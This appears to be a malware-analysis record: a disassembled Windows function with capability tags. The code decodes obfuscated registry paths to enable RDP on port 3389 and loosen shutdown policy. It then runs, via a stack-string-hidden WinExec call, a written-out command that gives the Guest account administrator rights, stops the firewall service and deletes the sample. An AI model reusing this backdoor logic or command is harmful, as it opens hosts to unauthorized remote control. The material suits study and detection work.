Function at 0x100048d3
Capabilities:
Contain obfuscated stackstrings
Hide shutdown actions via policy

Disassembly:
mov eax, 0x10012ddc
call fcn.10011cd0
sub esp, 0x52c
push ebx
mov eax, 0x80000002
push esi
push edi
mov dword [ebp - 0x1c], 0x1001323c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
and dword [ebp - 4], 0
push str.0NOISREvTNERRUcSWODNIwTFOSORCImerawtfos
call dword [sym.imp.MSVCRT.dll__strrev]
pop ecx
mov edi, dword [0x10019a20]
lea ecx, [ebp - 0x10]
mov ebx, 0xf003f
push ecx
push ebx
push 0
push eax
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x1000492a
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
push str.NETCACHE
lea ecx, [ebp - 0x1c]
call fcn.10004c4c
mov esi, 0x10017b78
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
mov esi, dword [0x10019aa4]
push 1
push 0
push str.eNABLED
push dword [ebp - 0x18]
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push str.sOFTWAREpOLICIESmICROSOFTwINDOWS
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10004975
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
push str.iNSTALLER
lea ecx, [ebp - 0x1c]
call fcn.10004c4c
lea eax, [ebp - 0x10]
push 4
push eax
push 4
push 0
push str.eNABLEaDMINtsREMOTE
push dword [ebp - 0x18]
mov dword [ebp - 0x10], 1
call esi
push str.0NOGOLNIwNOISREvTNERRUc_tn_SWODNIwTFOSORCImerawtfos
call dword [sym.imp.MSVCRT.dll__strrev]
pop ecx
lea ecx, [ebp - 0x10]
push ecx
push ebx
push 0
push eax
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x100049e0
mov eax, dword [ebp - 0x10]
push 0x10017b78
mov dword [ebp - 0x18], eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push 0x10017b78
push 1
push 0
push str.sHUTDOWNwITHOUTLOGON
push dword [ebp - 0x18]
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push str.systemcURRENTCONTROLSETcONTROL_tERMINAL_sERVER
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10004a14
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push 0
push str.tseNABLED
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 1
call esi
push str.0ddmREtSECIVREsTEsLORTNOcTNERRUcmetsys
call dword [sym.imp.MSVCRT.dll__strrev]
pop ecx
lea ecx, [ebp - 0x10]
push ecx
push ebx
push 0
push eax
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10004a50
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push 0
push str.sTART
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 2
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push str.systemcURRENTcONTROLSET_sERVICES_tERMSERVICE
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10004a84
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push 0
push str.sTART
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 2
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10004ab5
mov eax, dword [ebp - 0x10]
and dword [ebp - 0x10], 0
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push 0
push str.fDenyTSConnections
push eax
mov dword [ebp - 0x18], eax
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10004ae9
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push 0
push str.PortNumber
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xd3d
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10004b1d
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push 4
push ecx
push 4
push 0
push str.PortNumber
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xd3d
call esi
lea eax, [ebp - 0x10]
xor esi, esi
push eax
push ebx
push esi
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10004b4b
mov eax, dword [ebp - 0x10]
push 0xd3d
push str.PortNumber
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x18], eax
call fcn.10004cd3
push 0x80000003
lea ecx, [ebp - 0x1c]
call fcn.10004c3b
push str..DEFAULTKeyboard_LayoutToggle
lea ecx, [ebp - 0x1c]
call fcn.10004c89
test eax, eax
je 0x10004b7b
push 0x10017b98
push str.Hotkey
lea ecx, [ebp - 0x1c]
call fcn.10004cf3
lea ecx, [ebp - 0x1c]
call fcn.10004cbc
lea eax, [ebp - 0x138]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x538]
push str.CMD.EXE__C_NET_USER_GUEST__ACTIVE:YES__NET_USER_GUEST___NET_LOCALGROUP_ADMINISTRATORS_GUEST__add__NET_STOP_sHAREDaCCESS__Y__DEL___s___SC_DELETE_sHAREDaCCESS
push eax
call dword [0x10019bdc]
and byte [ebp - 0x28], 0
and byte [ebp - 0x1d], 0
add esp, 0xc
lea eax, [ebp - 0x24]
mov byte [ebp - 0x34], 0x6b
mov byte [ebp - 0x33], 0x65
push eax
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x6c
mov byte [ebp - 0x2e], 0x33
mov byte [ebp - 0x2d], 0x32
mov byte [ebp - 0x2c], 0x2e
mov byte [ebp - 0x2b], 0x64
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x24], 0x57
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x45
mov byte [ebp - 0x20], 0x78
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x63
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x538]
push esi
push ecx
call eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret